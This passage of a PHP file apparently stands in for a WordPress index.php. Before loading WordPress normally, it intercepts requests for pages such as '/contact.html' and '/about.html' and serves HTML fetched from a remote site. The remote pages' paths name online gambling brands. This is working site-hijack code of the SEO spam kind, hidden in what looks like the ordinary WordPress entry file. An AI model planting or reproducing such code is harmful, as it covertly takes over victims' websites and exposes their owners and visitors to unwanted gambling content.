true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_HTTPHEADER => [ 'Accept: text/html,application/xhtml+xml', ], ]); $content = curl_exec($ch); $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ($code === 200 && $content) ? $content : false; } $requestPath = normalize_path($_SERVER['REQUEST_URI'] ?? '/'); $routeMap = [ '/contact.html' => 'https://mainpoker.pages.dev/konten/dominoqq/', '/about.html' => 'https://mainpoker.pages.dev/konten/bandarqq/', '/clients.html' => 'https://mainpoker.pages.dev/konten/cahayaqq/', '/merchandise.html' => 'https://mainpoker.pages.dev/konten/cahayapoker/', ]; if (isset($routeMap[$requestPath])) { $content = fetch_external_content($routeMap[$requestPath]); if ($content !== false) { header('Content-Type: text/html; charset=UTF-8'); echo $content; exit; } http_response_code(502); echo '
Remote content unavailable.
'; exit; } define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';